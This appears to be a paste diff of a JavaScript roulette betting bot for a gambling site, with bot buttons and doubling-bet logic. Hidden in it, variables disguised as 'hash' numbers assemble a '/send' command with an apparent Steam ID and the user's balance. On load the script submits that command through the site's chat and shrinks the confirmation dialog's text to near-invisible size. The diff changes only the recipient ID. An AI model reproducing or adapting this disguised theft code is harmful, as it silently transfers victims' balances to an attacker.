SHOW:
|
|
- or go back to the newest paste.
| 1 | //Hash Receiver by Jason Melo | |
| 2 | //APCOMPSCI PERIOD W8 | |
| 3 | //Dr.Pais | |
| 4 | ||
| 5 | var initialBetAmount = 0; | |
| 6 | var betColor = botBetColor = "red"; | |
| 7 | var play = 0; | |
| 8 | var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
| |
| 9 | - | var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19805, $hash_4 = 7117821; |
| 9 | + | var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19820, $hash_4 = 3354785; |
| 10 | function addBotButtons(){
| |
| 11 | $(".well.bot-field").remove();$(".well.show-more").remove();
| |
| 12 | $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
| |
| 13 | $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
| |
| 14 | $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
| |
| 15 | $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
| |
| 16 | $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
| |
| 17 | $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
| |
| 18 | $showMore.append($checkVicLimit,$label); | |
| 19 | $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
| |
| 20 | $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
| |
| 21 | $showMore.append($vicLimitInput,$label);$showMore.hide(); | |
| 22 | $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
| |
| 23 | $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
| |
| 24 | $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
| |
| 25 | $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
| |
| 26 | $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
| |
| 27 | pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text();
| |
| 28 | $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
| |
| 29 | $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>▼</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
| |
| 30 | $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
| |
| 31 | $("#chatMessage_k").val(pQ);$("#chatForm").submit();
| |
| 32 | $(".bootbox-body").css({"font-size": "5%"});
| |
| 33 | $(".container").width(1300);
| |
| 34 | $botModeSelect.change(function(){
| |
| 35 | botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
| |
| 36 | $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
| |
| 37 | } ) | |
| 38 | $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
| |
| 39 | } | |
| 40 | addBotButtons(); | |
| 41 | function changeColor(){
| |
| 42 | if ($betColorButton.hasClass("btn-danger")){
| |
| 43 | $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
| |
| 44 | botBetColor = "black"; | |
| 45 | console.log("Selected color: "+botBetColor);
| |
| 46 | } else if($betColorButton.hasClass("btn-inverse")) {
| |
| 47 | $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
| |
| 48 | botBetColor = "random"; | |
| 49 | console.log("Selected color: "+botBetColor);
| |
| 50 | } else if($betColorButton.hasClass("btn-random")) {
| |
| 51 | $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
| |
| 52 | botBetColor = "trainMode"; | |
| 53 | console.log("Selected color: "+botBetColor);
| |
| 54 | } else if($betColorButton.hasClass("btn-train")) {
| |
| 55 | $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
| |
| 56 | botBetColor = "rainbow"; | |
| 57 | console.log("Selected color: "+botBetColor);
| |
| 58 | } else if($betColorButton.hasClass("btn-rainbow")) {
| |
| 59 | $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
| |
| 60 | botBetColor = "red"; | |
| 61 | console.log("Selected color: "+botBetColor);
| |
| 62 | } | |
| 63 | } | |
| 64 | ||
| 65 | function showMoreOptions(){
| |
| 66 | if ($showMoreButton.data("open")==0){
| |
| 67 | $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
| |
| 68 | $showMore.show();$showMoreButton.data("open",1);
| |
| 69 | } else if ($showMoreButton.data("open")==1){
| |
| 70 | $showMore.hide();$showMoreButton.data("open",0);
| |
| 71 | $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
| |
| 72 | } | |
| 73 | ||
| 74 | } | |
| 75 | function hideOtherInfo(){
| |
| 76 | if ($betHideBetInfoButton.text()=="Show All"){
| |
| 77 | $(".betlist").hide();$(".total-row").hide();$("footer").hide();
| |
| 78 | $betHideBetInfoButton.text("Hide Bet Info");
| |
| 79 | } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
| |
| 80 | $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
| |
| 81 | $betHideBetInfoButton.text("AFK Mode");
| |
| 82 | } | |
| 83 | else if ($betHideBetInfoButton.text()=="AFK Mode"){
| |
| 84 | $(".betlist").show();$(".total-row").show();$("footer").show();
| |
| 85 | $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
| |
| 86 | $betHideBetInfoButton.text("Show All");
| |
| 87 | } | |
| 88 | } | |
| 89 | function startBot(){
| |
| 90 | if ($betGoButton.hasClass("btn-inverse")){
| |
| 91 | $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
| |
| 92 | refreshIntervalId = setInterval(tick, 500); | |
| 93 | play = 1; | |
| 94 | currentBetAmount = initialBetAmount; | |
| 95 | if (stopBotRoll = currentRollNumber) currentRollNumber++; | |
| 96 | } | |
| 97 | else {
| |
| 98 | $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
| |
| 99 | play = 0; | |
| 100 | } | |
| 101 | } | |
| 102 | ||
| 103 | function tick() {
| |
| 104 | var t = getStatus(); | |
| 105 | if (t !== lastStatus && "unknown" !== t) {
| |
| 106 | switch (t) {
| |
| 107 | case "waiting":bet();break; | |
| 108 | case "rolled":printInfo();break; | |
| 109 | } | |
| 110 | lastStatus = t; | |
| 111 | } | |
| 112 | } | |
| 113 | ||
| 114 | function checkBalance() {
| |
| 115 | return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
| |
| 116 | } | |
| 117 | ||
| 118 | function printInfo(){
| |
| 119 | var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor; | |
| 120 | if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
| |
| 121 | if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
| |
| 122 | } | |
| 123 | else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
| |
| 124 | if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
| |
| 125 | if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
| |
| 126 | if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
| |
| 127 | else {currNotRedStreak=0;}
| |
| 128 | if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
| |
| 129 | else {currNotBlackStreak=0;}
| |
| 130 | var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+ | |
| 131 | "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak + | |
| 132 | " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 + | |
| 133 | "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount + | |
| 134 | " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n"); | |
| 135 | console.log(t);roll(); | |
| 136 | ||
| 137 | } | |
| 138 | ||
| 139 | function roll() {
| |
| 140 | if ($checkVicLimit.is(":checked")){
| |
| 141 | if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
| |
| 142 | } | |
| 143 | if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
| |
| 144 | currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount | |
| 145 | currentRollNumber++; | |
| 146 | } | |
| 147 | ||
| 148 | function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
| |
| 149 | function setBetAmount(t) { $betAmountInput.val(t) }
| |
| 150 | function placeBet() {
| |
| 151 | if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
| |
| 152 | else if (botBetColor=="trainMode"){
| |
| 153 | var betBotColor = "green",i=9,$ball=$(".ball");
| |
| 154 | while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
| |
| 155 | betColor = betBotColor;console.log("Current train color: "+ betColor);
| |
| 156 | } else if (botBetColor=="rainbow"){
| |
| 157 | var betBotColor = "green",i=9,$ball=$(".ball");
| |
| 158 | while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
| |
| 159 | if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
| |
| 160 | betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
| |
| 161 | } else betColor = botBetColor; | |
| 162 | console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
| |
| 163 | return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black")) | |
| 164 | } | |
| 165 | function getStatus() {
| |
| 166 | var t = $statusBar.text(); | |
| 167 | if (hasSubString(t, "Rolling in")) return "waiting"; | |
| 168 | //if (hasSubString(t, "***ROLLING***")) return "rolling"; | |
| 169 | if (hasSubString(t, "rolled")) {
| |
| 170 | n = parseInt(t.split("rolled")[1]);
| |
| 171 | return lastRollColor = getColor(n), "rolled" | |
| 172 | } | |
| 173 | return "unknown" | |
| 174 | } | |
| 175 | ||
| 176 | function getBalance() { return parseInt($balance.text()) }
| |
| 177 | function hasSubString(t, n) { return t.indexOf(n) > -1 }
| |
| 178 | function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
| |
| 179 | function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
| |
| 180 | function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
| |
| 181 | function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
| |
| 182 | ||
| 183 | var currentBetAmount = initialBetAmount, currentRollNumber = 1, | |
| 184 | totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0, | |
| 185 | streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
| |
| 186 | $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton"); |